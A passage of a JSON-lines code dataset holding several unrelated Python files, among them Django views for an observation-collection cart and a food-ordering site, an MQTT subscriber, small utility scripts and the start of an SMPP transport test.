Simulating what lands on the sensor and what lands outside the sensor.\n # * Probably use a simple square \"light\" source, and \"move it around\" in the camera lens, affecting the captured image.\n\n # For simulating the light landing on the sensor, we need a scene from which to capture the light source.\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":6286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296363485","text":"################################################\n#\n# user_collections.views\n#\n################################################ import settings\nimport settings\nimport json\nfrom django.http import HttpResponse, Http404\nfrom django.template import RequestContext\nfrom tools.app_utils import *\nfrom results.views import *\nfrom downloads.views import *\nfrom metrics.views import update_metrics\nfrom django.views.decorators.cache import never_cache\nfrom django.db import connection, DatabaseError\nfrom django.shortcuts import render\n\nimport logging\nlog = logging.getLogger(__name__)\n\ndef get_all_in_collection(request):\n \"\"\" returns list of ring_obs_ids \"\"\"\n if not request.session.get('has_session'):\n return []\n else:\n cursor = connection.cursor()\n session_id = request.session.session_key\n coll_table_name = get_collection_table(session_id)\n sql = 'select ring_obs_id from ' + connection.ops.quote_name(coll_table_name)\n cursor.execute(sql)\n ring_obs_ids = [n[0] for n in cursor.fetchall()]\n return ring_obs_ids\n\ndef get_collection_csv(request, fmt=None):\n \"\"\"\n creates csv based on user query and selection columns\n defaults to response object\n or as first line and all data tuple object for fmt=raw\n \"\"\"\n slugs = request.GET.get('cols')\n from results.views import getPage\n all_data = getPage(request, colls=True, colls_page='all')\n\n if fmt == 'raw':\n return slugs.split(\",\"), all_data[2]\n else:\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"data.csv\"'\n wr = csv.writer(response)\n wr.writerow(slugs.split(\",\"))\n wr.writerows(all_data[2])\n return response\n\ndef get_collection_table(session_id):\n \"\"\" returns collection table name and if one doesn't exist creates a new one \"\"\"\n if not session_id:\n return False\n\n cursor = connection.cursor()\n coll_table_name = 'colls_' + session_id\n try:\n sql = 'select ring_obs_id from ' + connection.ops.quote_name(coll_table_name) + ' limit 1'\n cursor.execute(sql)\n except DatabaseError:\n sql = 'create table ' + connection.ops.quote_name(coll_table_name) + ' like user_collections_template';\n cursor.execute(sql)\n\n return coll_table_name\n\ndef bulk_add_to_collection(ring_obs_id_list, session_id):\n cursor = connection.cursor()\n if type(ring_obs_id_list).__name__ == 'str':\n ring_obs_id_list = [ring_obs_id_list]\n coll_table_name = get_collection_table(session_id)\n placeholders = ['(%s)' for i in range(len(ring_obs_id_list))]\n values_str = ','.join(placeholders)\n sql = 'replace into ' + connection.ops.quote_name(coll_table_name) + ' (ring_obs_id) values %s' % values_str\n cursor.execute(sql, tuple(ring_obs_id_list))\n\ndef add_to_collection(ring_obs_id, session_id):\n cursor = connection.cursor()\n coll_table_name = get_collection_table(session_id)\n # first remove\n remove_from_collection(ring_obs_id, session_id)\n sql = 'replace into ' + connection.ops.quote_name(coll_table_name) + ' (ring_obs_id) values (%s)'\n cursor.execute(sql, (ring_obs_id,))\n\ndef remove_from_collection(ring_obs_id, session_id):\n cursor = connection.cursor()\n coll_table_name = get_collection_table(session_id)\n sql = 'delete from ' + connection.ops.quote_name(coll_table_name) + ' where ring_obs_id = %s'\n cursor.execute(sql, (ring_obs_id,))\n\ndef get_collection_in_page(page, session_id):\n \"\"\" returns obs_general_ids in page that are also in user collection\n this is for views in results where you have to display the gallery\n and indicate which thumbnails are in cart \"\"\"\n if not session_id:\n return\n\n cursor = connection.cursor()\n coll_table_name = get_collection_table(session_id)\n collection_in_page = []\n for p in page:\n ring_obs_id = p[0]\n sql = 'select ring_obs_id from ' + connection.ops.quote_name(coll_table_name) + ' where ring_obs_id = %s'\n cursor.execute(sql, (ring_obs_id,))\n row = cursor.fetchone()\n if row is not None:\n collection_in_page.append(ring_obs_id)\n return collection_in_page\n\ndef get_collection_count(session_id):\n cursor = connection.cursor()\n coll_table_name = get_collection_table(session_id)\n sql = 'select count(*) from ' + connection.ops.quote_name(coll_table_name)\n cursor.execute(sql)\n c = cursor.fetchone()[0]\n return c\n\ndef edit_collection(request, **kwargs):\n update_metrics(request)\n \"\"\"\n edits a single ring_obs_id in a user collection (user \"selections\")\n # edits?\n \"\"\"\n if not request.session.get('has_session'):\n request.session['has_session'] = True\n\n session_id = request.session.session_key\n\n checkArgs = check_collection_args(request, **kwargs)\n if type(checkArgs).__name__ == 'list' and checkArgs:\n (action, ring_obs_id, request_no, expected_request_no) = checkArgs\n else:\n return HttpResponse(json.dumps({\"err\":checkArgs}))\n\n # just add this request to the queue, every request gets queued\n add_to_queue(request, request_no, action, ring_obs_id)\n\n \"\"\"\n # todo\n turning this off for now, we will get the queue of whatever request_no is passed\n to us, without checking against what is expected_request_no\n by turning this off we are at risk of ajax race conditions\n but it's breaking something and no time for it right now\n Issue is here:\n https://bitbucket.org/ringsnode/opus2/issue/75/collections-downloads-majorly-broken\n # todo:\n # now look for the next expected request in the queue\n if get_queued(request, expected_request_no):\n # found the next expected request in the queue\n (request,action,ring_obs_id) = get_queued(request, expected_request_no)\n else:\n # the expected request has not yet arrived, do nothing\n return HttpResponse(json.dumps({\"err\":\"waiting\"}))\n \"\"\"\n # instead of the above we are doing this:\n (action, ring_obs_id) = get_queued(request, request_no)\n\n # redux: these will be not so simple sadly, they will insert or delete from\n # the colleciton table..\n if action == 'add':\n add_to_collection(ring_obs_id, session_id)\n\n elif (action == 'remove'):\n remove_from_collection(ring_obs_id, session_id)\n\n elif (action == 'addall'):\n collection_count = edit_collection_addall(request, **kwargs)\n\n elif (action in ['addrange','removerange']):\n collection_count = edit_collection_range(request, **kwargs)\n\n remove_from_queue(request, request_no)\n\n \"\"\"\n try:\n json = {\"msg\":\"yay!\",\"count\":len(collection), \"collection\": ', '.join(collection)}\n except:\n json = collection\n \"\"\"\n collection_count = get_collection_count(session_id)\n\n json_data = {\"err\":False, \"count\":collection_count, \"request_no\":request_no}\n\n return HttpResponse(json.dumps(json_data))\n\ndef edit_collection_addall(request, **kwargs):\n \"\"\"\n add the entire result set to the collection cart\n\n This may be turned off. The way to turn this off is:\n\n - comment out html link in apps/ui/templates/browse_headers.html\n - add these lines below:\n\n # turn off this functionality\n log.debug(\"edit_collection_addall is currently turned off. see apps/user_collections.edit_collection_addall\")\n return # this thing is turned off for now\n\n\n The reason is it needs more testing, but this branch makes a big\n efficiency improvements to the way downloads are handled, and fixes\n some things, so I wanted to merge it into master\n\n Things that needs further exploration:\n This functionality provides no checks on how large a cart can be.\n There needs to be some limit.\n It doesn't hide the menu link when the result count is too high.\n And what happens when it bumps against the MAX_CUM_DOWNLOAD_SIZE.\n The functionality is there but these are questions!\n\n To bring this functionality back for testing do the folloing:\n - uncomment the \"add all to cart\" link in apps/ui/templates/browse_headers.html\n - comment out the 2 lines below in this function\n\n \"\"\"\n # turn off this functionality\n log.error(\"edit_collection_addall is currently unavailable. see user_collections.edit_collection_addall()\")\n return # this thing is turned off for now\n\n update_metrics(request)\n session_id = request.session.session_key\n colls_table_name = get_collection_table(session_id)\n\n (selections,extras) = urlToSearchParams(request.GET)\n query_table_name = getUserQueryTable(selections,extras)\n\n cursor = connection.cursor()\n coll_table_name = get_collection_table(session_id)\n sql = \"replace into \" + connection.ops.quote_name(coll_table_name) + \\\n \" (id, ring_obs_id) select o.id, o.ring_obs_id from obs_general o, \" + connection.ops.quote_name(query_table_name) + \\\n \" s where o.id = s.id\"\n cursor.execute(sql)\n return get_collection_count(session_id)\n\n\ndef edit_collection_range(request, **kwargs):\n update_metrics(request)\n \"\"\"\n the request will come in not as a single ring_obs_id\n but as min and max ring_obs_ids + a range in a search query\n\n \"\"\"\n if not request.session.get('has_session'):\n request.session['has_session'] = True\n\n session_id = request.session.session_key\n colls_table_name = get_collection_table(session_id)\n (action, ring_obs_id, request_no, expected_request_no) = check_collection_args(request, **kwargs)\n\n id_range = request.GET.get('addrange',False)\n if not id_range:\n return False; # \"invalid ringobsid pair\"\n\n (min_id, max_id) = id_range.split(',')\n (selections,extras) = urlToSearchParams(request.GET)\n\n from results.views import *\n data = getData(request,\"raw\")\n selected_range = []\n in_range = False # loop has reached the range selected\n\n column_slugs = request.GET.get('cols',settings.DEFAULT_COLUMNS)\n\n ring_obs_id_key = column_slugs.split(',').index('ringobsid')\n\n # return HttpResponse(json.dumps(data['page']));\n for row in data['page']:\n\n ring_obs_id = row[ring_obs_id_key]\n\n if ring_obs_id == min_id:\n in_range = True;\n\n if in_range:\n selected_range.append(ring_obs_id)\n\n if in_range & (ring_obs_id == max_id):\n\n # this is the last one, update the collection\n if action == 'addrange':\n bulk_add_to_collection([rid for rid in selected_range], session_id)\n\n if not selected_range:\n log.error(\"edit_collection_range failed to find range \" + id_range)\n log.error(selections)\n\n return get_collection_count(session_id)\n\n\n@never_cache\ndef view_collection(request, collection_name, template=\"collections.html\"):\n \"\"\" the collection tab http endpoint!\n returns render(request, template,locals())\n template=\"collections.html\"\n the information it returns about product types and files does not\n relect user filters such as product types and preview images\n it returns all product types and all preview images in order to draw the page\n the highlighting of user selected preview and product type selections are handled client side\n \"\"\"\n update_metrics(request)\n\n # nav stuff - page | limit | columns | offset\n page_no = int(request.GET.get('page',1))\n limit = int(request.GET.get('limit',100))\n column_slugs = request.GET.get('cols',settings.DEFAULT_COLUMNS)\n previews_str = request.GET.get('previews', None)\n\n previews = []\n if previews_str:\n previews = previews_str.split(',')\n\n from results.views import * # circulosity\n\n column_slugs = column_slugs.split(',')\n columns = []\n for slug in column_slugs:\n columns += [ParamInfo.objects.get(slug=slug).param_name()]\n offset = (page_no-1)*limit\n\n # collection\n if not request.session.get('has_session'):\n request.session['has_session'] = True\n session_id = request.session.session_key\n colls_table_name = get_collection_table(session_id)\n\n # images and join with the collections table\n where = \"images.ring_obs_id = \" + connection.ops.quote_name(colls_table_name) + \".ring_obs_id\"\n images = Image.objects\n images = images.extra(where=[where], tables=[colls_table_name])\n\n image_types = settings.IMAGE_TYPES\n image_count = len(images) # todo: huh.\n\n # all product types\n all_product_types = Files.objects.all().values('product_type').distinct()\n # product files\n # for this we want the list of all possible product types relevant for this dataset\n # todo: this is really inefficient, another place that large carts are going to be unhappy\n product_counts = dict([(i,0) for i in [p['product_type'] for p in all_product_types]]) # a dict with product_type names as keys\n # and all values set to zero\n # for holding a count of each product type\n # get count of each product type\n where = \"files.ring_obs_id = \" + connection.ops.quote_name(colls_table_name) + \".ring_obs_id\"\n product_counts_query = Files.objects.extra(where=[where], tables=[colls_table_name]).values(\"product_type\").annotate(Count(\"product_type\"))\n product_counts_nonzero = {i['product_type']: i['product_type__count'] for i in product_counts_query}\n # update a product_count array with the non-zero counts\n for product_type, pcount in product_counts_nonzero.items():\n product_counts[product_type] = pcount\n\n # download_info, count and total size before zip\n from downloads.views import get_download_info\n product_types = [ptype for ptype, count in product_counts.items()]\n download_size, download_count = get_download_info(product_types, previews, colls_table_name)\n download_size = nice_file_size(download_size) # pretty display it\n\n column_values = []\n for param_name in columns:\n table_name = param_name.split('.')[0]\n if table_name == 'obs_general':\n column_values.append(param_name.split('.')[1])\n else:\n column_values.append(param_name.split('.')[0].lower().replace('_','') + '__' + param_name.split('.')[1])\n\n # figure out what tables do we need to join in and build query\n triggered_tables = list(set([t.split('.')[0] for t in columns]))\n try:\n triggered_tables.remove('obs_general')\n except ValueError:\n pass # obs_general table wasn't in there for whatever reason\n\n # set up the where clause to join with the rest of the tables\n where = \"obs_general.ring_obs_id = \" + connection.ops.quote_name(colls_table_name) + \".ring_obs_id\"\n triggered_tables.append(colls_table_name)\n\n # bring in the triggered_tables\n results = ObsGeneral.objects.extra(where=[where], tables=triggered_tables)\n results = results.values(*column_values)[offset:offset+limit]\n\n page_ids = [o['ring_obs_id'] for o in results]\n\n return render(request, template,locals())\n\n\n@never_cache\ndef collection_status(request, collection_name='default'):\n \"\"\"\n #todo this method needs tests\n \"\"\"\n update_metrics(request)\n\n expected_request_no = 1\n if not request.session.get('has_session'):\n count = 0\n else:\n session_id = request.session.session_key\n count = get_collection_count(session_id)\n\n try:\n expected_request_no = request.session['expected_request_no']\n except KeyError:\n pass # leave xpected_request_no = 1\n\n return HttpResponse(json.dumps({\"count\":count, \"expected_request_no\": expected_request_no }))\n\n\ndef check_collection_args(request,**kwargs):\n \"\"\"\n # this just checks that we have all we need to process an edit_collection\n # and if we don't it returns the error msg as string\n checkArgs = check_collection_args(request, **kwargs)\n if type(checkArgs) == 'string':\n return HttpResponse(checkArgs)\n else:\n (action, ring_obs_id, request_no, expected_request_no) = check_collection_args(request, **kwargs)\n \"\"\"\n\n # collection and action are part of the url conf so you won't get in without one\n try:\n action = kwargs['action']\n except KeyError:\n msg = 'Page not found'\n return msg\n\n ring_obs_id = request.GET.get('ringobsid', False)\n request_no = request.GET.get('request', False)\n addrange = request.GET.get('addrange',False)\n\n if not ring_obs_id and action != 'addall':\n try:\n ring_obs_id = kwargs['ring_obs_id']\n except KeyError:\n if addrange:\n ring_obs_id = addrange\n else:\n msg = \"No Observations specified\"\n return msg\n\n if not request_no:\n try:\n request_no = kwargs['request_no']\n except KeyError:\n msg = 'no request number received'\n return msg\n\n request_no = int(request_no)\n\n expected_request_no = 1\n if request.session.get('expected_request_no'):\n expected_request_no = request.session['expected_request_no']\n\n return [action, ring_obs_id, request_no, expected_request_no]\n\n\ndef is_odd(num):\n return num & 1 and True or False\n\n@never_cache\ndef reset_sess(request):\n \"\"\" this is hit when user clicks 'empty collection' \"\"\"\n request.session.flush()\n request.session['has_session'] = True\n return HttpResponse(\"session reset\")\n\n\ndef add_to_queue(request, request_no, action, ring_obs_id):\n # just adding one request to the queue if its not already there\n\n queue = {}\n queue = request.session.get(\"queue\", {})\n if request_no not in queue:\n queue[request_no] = [action, ring_obs_id]\n\n request.session[\"queue\"] = queue\n return True\n\n\ndef remove_from_queue(request, request_no):\n \"\"\" delete from queue, does not return item\n for when a queued request is finished being processed \"\"\"\n if request_no in request.session[\"queue\"]:\n del request.session[\"queue\"][request_no]\n return True\n\n\ndef get_queued(request, request_no):\n \"\"\" get the next request in queue\n if get_queued(request, expected_request_no):\n (collection_name,action,ring_obs_id) = get_queued(request, expected_request_no)\n \"\"\"\n queue = request.session.get(\"queue\", {})\n try:\n return queue[request_no]\n except KeyError:\n return False\n\n\n# avoiding a circular dependency, even James Bennett does this okayyyy! http://is.gd/TGblFO\n# well ok I moved to the end of module because it's needed in 2 methods here o_0\nfrom search.views import *\nfrom results.views import *\nfrom downloads.views import *\n","sub_path":"apps/user_collections/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446656390","text":"import paho.mqtt.client as PahoMQTT\r\nimport requests\r\nimport json\r\nimport time\r\n\r\n\r\nclass MySubscriber:\r\n def __init__(self, clientID,topic,broker):\r\n self.clientID = clientID\r\n self._paho_mqtt = PahoMQTT.Client(clientID, False)\r\n self._paho_mqtt.on_connect = self.myOnConnect\r\n self._paho_mqtt.on_message = self.myOnMessageReceived\r\n self.topic = topic\r\n self.messageBroker = broker \r\n\r\n def start (self):\r\n self._paho_mqtt.connect(self.messageBroker, 1883)\r\n self._paho_mqtt.loop_start()\r\n self._paho_mqtt.subscribe(self.topic, 2)\r\n\r\n def stop (self):\r\n self._paho_mqtt.unsubscribe(self.topic)\r\n self._paho_mqtt.loop_stop()\r\n self._paho_mqtt.disconnect()\r\n\r\n def myOnConnect (self, paho_mqtt, userdata, flags, rc):\r\n print (\"Connected to %s with result code: %d\" % (self.messageBroker, rc))\r\n\r\n def myOnMessageReceived (self, paho_mqtt , userdata, msg):\r\n print (\"Topic:'\" + msg.topic+\"', QoS: '\"+str(msg.qos)+\"' Message: '\"+str(msg.payload) + \"'\")\r\n \r\n \r\n\r\n\r\nif __name__==\"__main__\":\r\n\r\n payload = {\r\n \"serviceID\": 789,\r\n \"description\": \"temperature information\"\r\n }\r\n \r\n requests.put(\"http://localhost:8080/addService\", json.dumps(payload))\r\n response = requests.get(\"http://localhost:8080/deviceID/123\")\r\n our_device = response.json()\r\n endpoint = our_device[\"end-points\"]\r\n print(endpoint)\r\n \r\n #dato che è un subscriber, non può pubblicare -> per ricavare il broker facciamo una\r\n #richiesta GET\r\n broker = requests.get(\"http://localhost:8080/broker\")\r\n our_broker = broker.json()\r\n our_broker2 = our_broker[\"broker\"]\r\n print(our_broker2)\r\n \r\n test2 = MySubscriber(\"MySubscriber\", endpoint, our_broker2)\r\n \r\n test2.start()\r\n time.sleep(60)\r\n \r\n","sub_path":"LAB SW 3/prova.py","file_name":"prova.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"469128921","text":"import sys\n\n\ndef main_func():\n\tdata = sys.stdin.readlines()\n\tdata = [x for x in data if x.strip()]\n\tif len(data) != 3:\n\t\tprint('NO')\n\t\treturn\n\ttry:\n\t\tsides = [int(d) for d in data]\n\texcept:\n\t\treturn\n\tif any(s <= 0 for s in sides):\n\t\tprint('NO')\n\t\treturn\n\tall_sides = sum(sides)\n\tfor s in sides:\n\t\tif all_sides - s <= s:\n\t\t\tprint('NO')\n\t\t\treturn\n\tprint('YES')\n\n\n\nif __name__ == '__main__':\n\tmain_func()","sub_path":"d01/02_triangle.py","file_name":"02_triangle.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"189604517","text":"from Data.League.champion import ChampionBuild\nimport discord.colour\n\n\nclass ChampionBuildEmbed(ChampionBuild):\n\n def __init__(self, champion_id):\n super().__init__(champion_id)\n\n\n\n @property\n def embed(self):\n\n\n embed = dict(\n color=self.colour,\n title=f\"{self.name} {self.title.title()}\",\n thumbnail={\"url\": self.profile_image},\n description = \"**Champion build**\"\n\n )\n return embed\n\n @property\n def colour(self):\n return int(f\"249{self.champion_id}9\")","sub_path":"Data/embeds/champion_builds.py","file_name":"champion_builds.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"603997278","text":"import subprocess\nimport requests\nimport focus\nimport time\n\ndef nag_current_task_ancestors():\n r = requests.get('http://localhost:5051/api/tree')\n server_tm = focus.TreeManager.from_dict(r.json())\n\n print(server_tm.print_tree())\n\n title = 'FocusTree'\n message = server_tm.current_task.print_ancestors()\n subprocess.run([\n 'osascript',\n '-e',\n 'display alert \"' + title + '\" message \"' + message + '\"'\n ])\n\nif __name__ == \"__main__\":\n while True:\n time.sleep(30)\n nag_current_task_ancestors()\n","sub_path":"libexec/FocusTree/focusnag.py","file_name":"focusnag.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"344654376","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.db import IntegrityError\nfrom django.db.models import Count, Exists, OuterRef\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import *\n\nimport datetime\n\n# Create your views here\ndef index(request):\n context = {\n \"restaurants\": Restaurant.objects.all(),\n \"cuisine\": Cuisine.objects.all(),\n \"currentTime\": datetime.datetime.now(),\n }\n\n # For restaurant owners\n if request.user.is_authenticated:\n context[\"ownedRestaurant\"] = request.user.profile.ownedRestaurant\n\n return render(request, \"food/index.html\", context)\n\ndef orders(request):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('login'))\n else:\n context = {\n \"choosingOrders\": request.user.orders.annotate(num_items=Count('items')).filter(status=0).exclude(num_items=0),\n \"pendingOrders\": request.user.orders.filter(status=1),\n \"deliveringOrders\": request.user.orders.filter(status=2),\n \"deliveredOrders\": request.user.orders.filter(status=3),\n \"phoneNumber\": request.user.profile.phoneNumber\n }\n\n return render(request, \"food/orders.html\", context)\n\ndef restaurantOrders(request, restaurantId):\n restaurant = Restaurant.objects.get(id=restaurantId)\n\n if request.user.profile.ownedRestaurant == restaurant:\n if request.method == 'POST':\n action = request.POST['action']\n orderId = request.POST['order-id']\n order = Order.objects.get(id=orderId)\n\n if action == 'confirm':\n # Pending --> Delivering status\n order.confirm()\n\n # TODO WhatsApp bot to customer\n elif action == 'delivered':\n # Delivering --> Delivered status\n order.delivered()\n\n # TODO WhatsApp bot to customer\n elif action == 'reject':\n # Pending --> Choosing status\n order.rejected()\n\n # TODO WhatsApp bot to customer\n\n order.save()\n return HttpResponseRedirect(reverse('restaurantOrders', args=[restaurantId]))\n else:\n context = {\n \"restaurant\": restaurant,\n \"pendingOrders\": restaurant.orders.filter(status=1),\n \"deliveringOrders\": restaurant.orders.filter(status=2),\n \"deliveredOrders\": restaurant.orders.filter(status=3),\n }\n\n return render(request, \"food/restaurantOrders.html\", context)\n else:\n return HttpResponseRedirect(reverse('index'))\n\ndef about(request):\n return render(request, \"food/about.html\")\n\ndef cuisines(request):\n context = {\n \"cuisines\": Cuisine.objects.all(),\n }\n return render(request, \"food/cuisines.html\", context)\n\ndef cuisine(request, currentCuisine):\n #currentCuisine = currentCuisine.lower()\n currentCuisine = currentCuisine\n print(currentCuisine)\n\n try:\n category = Cuisine.objects.get(name=currentCuisine)\n except:\n raise Http404(\"Cuisine does not exist\")\n\n context = {\n \"cuisine\": currentCuisine,\n \"restaurants\": Restaurant.objects.filter(cuisine__name=category).all(),\n \"currentTime\": datetime.datetime.now(),\n }\n\n return render(request, \"food/cuisine.html\", context)\n\ndef restaurant(request, restaurantId):\n try:\n restaurant = Restaurant.objects.get(pk=restaurantId)\n except Post.DoesNotExist:\n raise Http404(\"Restaurant does not exist\")\n\n context = {\n \"restaurant\": restaurant,\n \"categories\": restaurant.categories.all(),\n \"currentTime\": datetime.datetime.now(),\n # \"menuItems\": MenuItem.objects.filter(category__restaurant=restaurant)\n }\n\n if request.user.is_authenticated:\n if request.method == 'POST':\n orderId = request.POST['orderId']\n order = Order.objects.get(id=orderId)\n order.orderedTime = datetime.datetime.now()\n order.save()\n\n if request.user.profile.phoneNumber == '':\n return HttpResponseRedirect(reverse('phoneNumber'))\n\n return HttpResponseRedirect(reverse('address', args=[restaurantId]))\n else:\n pendingOrders = restaurant.orders.filter(user=request.user, status=1)\n context[\"pendingOrders\"] = pendingOrders\n context['loggedIn'] = True\n context[\"phoneNumber\"] = request.user.profile.phoneNumber\n\n try:\n currentOrder = Order.objects.get(user=request.user, restaurant=restaurant, status=0)\n\n # subquery = OrderItem.objects.filter(orderList=currentOrder, menuItem=OuterRef('pk'))\n # context[\"menuItems\"] = MenuItem.objects.filter(category__restaurant=restaurant)\\\n # .annotate(userOrdered=Exists(subquery))\n\n context['currentOrder'] = currentOrder\n except:\n print('No current order')\n else:\n context['loggedIn'] = False\n\n return render(request, \"food/restaurant.html\", context)\n\n@login_required\ndef address(request, restaurantId):\n try:\n restaurant = Restaurant.objects.get(pk=restaurantId)\n except Post.DoesNotExist:\n raise Http404(\"Restaurant does not exist\")\n\n context = {\n \"restaurant\": restaurant\n }\n\n if request.user.is_authenticated:\n if request.method == 'POST':\n address = request.POST['address']\n if address == \"\":\n return HttpResponseRedirect(reverse('address', args=[restaurantId]))\n else:\n orderId = request.POST['orderId']\n order = Order.objects.get(id=orderId)\n order.address = address\n order.status = 1\n order.save()\n\n return HttpResponseRedirect(reverse('orders'))\n else:\n context['loggedIn'] = True\n\n try:\n currentOrder = Order.objects.get(user=request.user, restaurant=restaurant, status=0)\n\n # subquery = OrderItem.objects.filter(orderList=currentOrder, menuItem=OuterRef('pk'))\n # context[\"menuItems\"] = MenuItem.objects.filter(category__restaurant=restaurant)\\\n # .annotate(userOrdered=Exists(subquery))\n\n context['currentOrder'] = currentOrder\n except:\n return HttpResponseRedirect(reverse('restaurant', args=[restaurantId]))\n print('Something went wrong.')\n else:\n context['loggedIn'] = False\n return render(request, \"food/address.html\", context)\n\n\ndef login_view(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect(reverse('index'))\n\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n return HttpResponseRedirect(reverse('index'))\n else:\n return render(request, 'food/login.html', {\"message\": \"Invalid credentials.\"})\n else:\n return render(request, 'food/login.html')\n\n# Page that the user is redirected to from Google Sign In\n# This is to check whether the student is Woodstock student or not;\n# Boolean value of woodstock = True\ndef woodstock_recognize(request):\n if request.user.is_authenticated:\n user = request.user\n\n if user.email != '':\n email = user.email.split('@')\n\n if email[1] == 'woodstock.ac.in':\n user.profile.woodstock = True\n print('User is Woodstock')\n user.save()\n else:\n print('User is not Woodstock')\n else:\n print('User does not have email')\n\n return HttpResponseRedirect(reverse('index'))\n\n# People who register are redirected to this view to confirm their phone number\n# TODO WhatsApp bot integration\ndef phoneNumber(request):\n try:\n lastURL = request.META.get('HTTP_REFERER')[-1:]\n if lastURL.isnumeric():\n context = {\n \"url\": lastURL\n }\n else:\n context = {\n \"url\": \"\"\n }\n except:\n context = {\n \"url\": \"\"\n }\n\n if request.user.is_authenticated:\n if request.method == 'POST':\n triedOtp = request.POST['otp']\n\n if (triedOtp == request.user.profile.otp):\n phoneNumber = request.POST['phoneNumber']\n user = request.user\n user.profile.phoneNumber = phoneNumber\n user.profile.save()\n\n pageNumber = request.POST['pageNumber']\n if pageNumber == \"\":\n return HttpResponseRedirect(reverse('index'))\n else:\n return HttpResponseRedirect(reverse('address', args=[pageNumber]))\n else:\n return render(request, 'food/phoneNumber.html', {\"message\": \"Wrong OTP.\"})\n else:\n return render(request, 'food/phoneNumber.html', context)\n else:\n return HttpResponseRedirect(reverse('login'))\n\ndef logout_view(request):\n logout(request)\n return render(request, \"food/login.html\", {\"message\": \"Logged out.\"})\n\ndef register(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect(reverse('index'))\n\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n first_name = request.POST['firstname']\n last_name = request.POST['lastname']\n\n try:\n new_user = User.objects.create_user(username, password=password, first_name=first_name, last_name=last_name)\n new_user.save()\n\n except IntegrityError:\n return render(request, 'food/register.html', {\"message\": \"User already exists\"})\n except:\n return render(request, 'food/register.html', {\"message\": \"Invalid credentials.\"})\n\n return HttpResponseRedirect(reverse('login'))\n else:\n return render(request, 'food/register.html')\n","sub_path":"food/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"547637606","text":"import redis\nfrom time import sleep\n\nfrom twisted.internet import defer\nfrom twisted.internet.defer import inlineCallbacks\nfrom twisted.trial.unittest import TestCase\nfrom smpp.pdu_builder import SubmitSMResp, DeliverSM\n\nfrom vumi.tests.utils import FakeRedis\nfrom vumi.message import TransportUserMessage\nfrom vumi.transports.smpp.clientserver.client import (\n EsmeTransceiver, ESME, KeyValueStore, EsmeCallbacks)\nfrom vumi.transports.smpp.clientserver.tests.test_client import (\n KeyValueStoreTestCase)\nfrom vumi.transports.smpp.transport import (SmppTransport,\n SmppTxTransport,\n SmppRxTransport)\nfrom vumi.transports.smpp.service import SmppService\nfrom vumi.transports.smpp.clientserver.config import ClientConfig\nfrom vumi.transports.smpp.clientserver.tests.utils import SmscTestServer\nfrom vumi.transports.tests.test_base import TransportTestCase\n\nfrom transports.push_tz_smpp import PushTzSmppTransport\n\nfrom tests.utils import ObjectMaker\n\nimport redis\n\n\nclass RedisTestEsmeTransceiver(EsmeTransceiver):\n\n def send_pdu(self, pdu):\n pass # don't actually send anything\n\n\nclass RedisTestSmppTransport(SmppTransport):\n\n def send_smpp(self, message):\n to_addr = message['to_addr']\n text = message['content']\n sequence_number = self.esme_client.submit_sm(\n short_message=text.encode('utf-8'),\n destination_addr=str(to_addr),\n source_addr=\"1234567890\",\n )\n return sequence_number\n\n\nclass MockSmppTransport(PushTzSmppTransport):\n def _setup_message_consumer(self):\n super(MockSmppTransport, self)._setup_message_consumer()\n self._block_till_bind.callback(None)\n\n\ndef mk_expected_pdu(direction, sequence_number, command_id, **extras):\n headers = {\n 'command_status': 'ESME_ROK',\n 'sequence_number': sequence_number,\n 'command_id': command_id,\n }\n headers.update(extras)\n return {\"direction\": direction, \"pdu\": {\"header\": headers}}\n\n\nclass PushTzSmscTestServer(SmscTestServer):\n \n def command_status(self, pdu):\n if (pdu['body']['mandatory_parameters']['short_message'] is not None\n and pdu['body']['mandatory_parameters']['short_message'][:5] == \"ESME_\"):\n return pdu['body']['mandatory_parameters']['short_message'].split(\n ' ')[0]\n else:\n return 'ESME_ROK' \n\n\nclass EsmeToSmscTestCasePlus(TransportTestCase, ObjectMaker):\n\n transport_name = \"esme_testing_transport\"\n transport_class = MockSmppTransport\n\n def assert_pdu_header(self, expected, actual, field):\n self.assertEqual(expected['pdu']['header'][field],\n actual['pdu']['header'][field])\n\n def assert_server_pdu(self, expected, actual):\n self.assertEqual(expected['direction'], actual['direction'])\n self.assert_pdu_header(expected, actual, 'sequence_number')\n self.assert_pdu_header(expected, actual, 'command_status')\n self.assert_pdu_header(expected, actual, 'command_id')\n\n @inlineCallbacks\n def setUp(self):\n yield super(EsmeToSmscTestCasePlus, self).setUp()\n self.config = {\n \"system_id\": \"VumiTestSMSC\",\n \"password\": \"password\",\n \"host\": \"localhost\",\n \"port\": 0,\n \"redis\": {},\n \"transport_name\": self.transport_name,\n \"transport_type\": \"smpp\",\n }\n self.service = SmppService(None, config=self.config)\n yield self.service.startWorker()\n self.service.factory.protocol = PushTzSmscTestServer\n self.config['port'] = 